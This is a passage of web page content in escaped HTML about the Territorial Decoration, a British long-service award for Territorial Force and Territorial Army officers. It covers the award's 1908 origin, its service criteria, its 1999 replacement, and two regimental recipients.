This award superseded the Volunteer Officer`s Decoration&nbsp;when the Territorial Force&nbsp;was formed on 1st April 1908, following the enactment of the Territorial and Reserve Forces Act 1907, (7 Edw.7, c.9) which was a large reorganisation of the old Volunteer Army&nbsp;and the remaining units o militia&nbsp;and &nbsp;Yeomanry.&nbsp;However, the Militia&nbsp;were transferred to the &nbsp;Special Reserve&nbsp;rather than becoming part of the Territorial Force. A recipient of this award is entitled to the letters &#8220;TD&#8221; after their name (post-nominal).<\/p>\n<p>The criterion was for a minimum of 20 years service in the Territorial Force&nbsp;and &nbsp;Territorial Army, with war service counting double and service in the ranks counting half. In 1930 the new Efficiency Decoration&nbsp;was introduced to be awarded to all three services, but when the ED was awarded to a Territorial Army officer it continued to be known as the Territorial Decoration and the recipient still used the letters TD after their name.&nbsp;It was finally replaced by the Volunteer Reserves Service Medal, awarded to all ranks in all services, in 1999.<\/p>\n<p style=\"text-align: center;\"><strong>Regimental Award<\/strong><\/p>\n<p style=\"text-align: center;\">Lt Col EI Williamson<\/p>\n<p style=\"text-align: center;\">Maj PC Clifford<\/p>\n<p style=\"text-align: left;\">Sourced from Wikipedia and the RGJRA &nbsp;http:\/\/www.rgjassociation.info<\/p>\n<p style=\"text-align: left;\">original source from www.thegazette.co.uk<\/p>\n","protected":false},"excerpt":{"rendered":"<p>The Territorial Decoration (TD) was a medal of the United Kingdom awarded for long service in the Territorial Force and its successor, the Territorial Army.
